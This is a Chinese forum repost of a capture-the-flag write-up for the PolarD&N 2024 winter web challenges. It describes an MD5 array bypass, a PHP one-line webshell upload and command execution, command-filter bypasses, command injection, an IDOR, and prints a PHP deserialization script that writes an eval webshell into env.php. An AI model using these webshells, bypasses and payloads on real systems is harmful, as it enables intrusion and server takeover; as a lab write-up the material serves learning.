ToB企服应用市场:ToB评测及商务社交产业平台

标题: PolarD&N 2024冬季个人挑衅赛WEB [打印本页]

作者: 千千梦丶琪    时间: 9 小时前
标题: PolarD&N 2024冬季个人挑衅赛WEB
PolarD&N 2024冬季个人挑衅赛WEB

简单的导航站

进入题目后先注册一个账号,注册乐成后手动到登录界面举行登录,然后选择查看列表,出现如下代码
  1. <?php
  2. header("Content-Type:text/html;charset=utf-8");
  3. show_source(__FILE__);
  4. include('user.php');
  5. $user1 = $_GET['user1'];
  6. $user2 = $_GET['user2'];
  7. if ($user1 != $user2) {
  8.     if (md5($user1) === md5($user2)) {
  9.         echo '用户名:' . $user;
  10.     } else {
  11.         echo 'MD5值校验出错啦啦啦......';
  12.     }
  13. } else {
  14.     echo 'user不能相等!';
  15. }
  16. ?>
复制代码
一个简单的md5绕过,用数组即可
  1. user1[]=1&user2[]=2
复制代码
用get方法传入后可以看到所有用户名列表,管理员的也在此中。随后到管理员登录界面,本打算用这些用户名和自己的密码本举行爆破的,但这样数据量太大了,可能在什么地方藏了密码,ctrl+u看了一下前端代码,发现了 Admin1234! 估计这个就是密码,随后爆破用户名,得到用户名是P0la2adm1n,乐成登录,跳转到了文件上传界面
直接上传php一句话木马,乐成了,但是不知道详细路径,用dirsearch扫到了uploads文件夹,那么大概率就是在这下面了,前往一句话木马的位置,用find找一下flag的位置
  1. cmd=system('find / -name "fl*"');
复制代码

发现不对,flag好像有点多,随后用蚁剑连接一下,直接查看验证flag的php文件内容

拿到flag
井字棋

F12查看源码,看到如下关键内容

可以得知想game.php发送winner为player的json数据即可得到flag

button

Ctrl+u查看源码,跳到script.js中查看详细内容,随后发现了一个疑似可以弹出flag路由以及对应参数

前往该路由后f12即可拿到flag
狗黑子的RCE

第一个参数的过滤不完全,利用uniq代替cat,然后用反斜杠分割flag即可绕过。
第二个参数替换为空,那么双写绕过即可

xxmmll

用dirsearch可以扫到docker-compose.yml,前往查看可以发现flag被设置到环境变量的代码,提交即可,非预期

Note

用dirsearch扫出了flag.txt,原来以为是假的,试着提交了一下,然后就过了???又是非预期解

赌王

先爆破转到到三个都一样的环境,随后可以得到提示

补上php后缀后前往,得到一个比大小的界面,用数组绕过

得到一个新的文件地址,前往访问,根据解释掉的提示可知将ip修改成1.1.1.1即可得到权限,随后在ping的ip后面接上要实验的命令即可

任务cmd

进题之后扫目录得到login.php背景登录,先放着,爆破小明的登录密码是123123,进入后发现url处的id传递了xiaoming,将其改为xiaohei后乐成进入了小黑的信息界面

推测电话处的内容为背景登录的密钥,随后在login.php再次举行爆破,得到账号密码分别为admin和flower,进入之后发现任务一是一个php文件,结合题目的cmd,尝试用cmd传递命令,乐成实验

ezezser

用dirsearch扫一下可以得知是git源码泄露,用gitHack下载源码到当地,发现还有个env.php,那么大致的思路就确定了,利用cookie写入序列化数据,在反序列化的时候触发getInfo方法,实验eval($this->key);将key的命令写成用file_put_contents向env.php写入木马即可,由于是private数据,在反序列化后要url编码,随后到env.php连接木马即可
脚本如下
  1. <?php
  2. error_reporting(0);
  3. class backDoor {
  4.     private $key="file_put_contents('env.php','<?php @eval(\$_POST[\'Kon\']);?>');";
  5.     public function getInfo() {
  6.         eval($this->key);
  7.     }
  8. }
  9. class polar520
  10. {
  11.     private $polarday = '1';
  12.     private $polarnight = '1';
  13.     private $polar = false;
  14.     private $class = 'info';
  15.     public function __construct()
  16.     {
  17.         $this->class=new backDoor();
  18.     }
  19.     public function login($a, $b)
  20.     {
  21.         return $this > polarday === $a && $this > polarnight === $b;
  22.     }
  23.     public function __destruct()
  24.     {
  25.         $this->class->getInfo();
  26.     }
  27. }
  28. $a=new polar520();
  29. echo urlencode(serialize($a));
复制代码


坦诚相见

在no.php中发现过滤了一些和目录遍历相干的操作和flag,于是利用${PWD:0:1}来获取/,乐成读到根目录,但是无法读取flag的文件内容,看了下权限发现是权限不够

于是利用sudo cat "${PWD:0:1}"f*读取,乐成拿到flag


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4